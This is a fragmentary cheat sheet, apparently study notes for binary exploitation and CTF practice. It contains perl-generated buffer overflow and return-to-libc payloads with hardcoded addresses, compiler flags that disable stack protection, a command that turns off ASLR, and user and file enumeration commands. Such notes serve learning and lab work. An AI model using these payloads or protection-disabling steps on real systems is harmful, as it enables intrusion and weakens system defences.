$(perl -e ‘print “A”x30 . “\xef\xbe\xad\xde”’)

g++ -g -fno-stack-protector -z execstack

echo 0 > /proc/sys/kernel/randomize_va_space

Set up GDB with PEDA
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

echo “set disassembly-flavor intel” >> ~/.gdbinit
echo “set disable-randomization on” >> ~/.gdbinit

ls -l /home/*
ls -l /home/*/data.txt
ls -l <filename>

id
id <username>

strings <filename>

find . -ls

handouts

return to libc

ln -s {target-filename} {symbolic-filename}

Extract hidden files from images, use debugfs, basic forensics with scalpel

Understand rsa, public/private key encryption

ls -lisha

https://gist.github.com/superkojiman/6a6e44db390d6dfc329a

mount –o loop found.img foo

```
> ./a.out $(perl -e 'print
"aaaaaaaaaaaaaaaaaaaaaaa\x50\xbc\xd6\xb7\x90\xf2\xd5\xb7\x1f\xf7\xff\xbf"')
```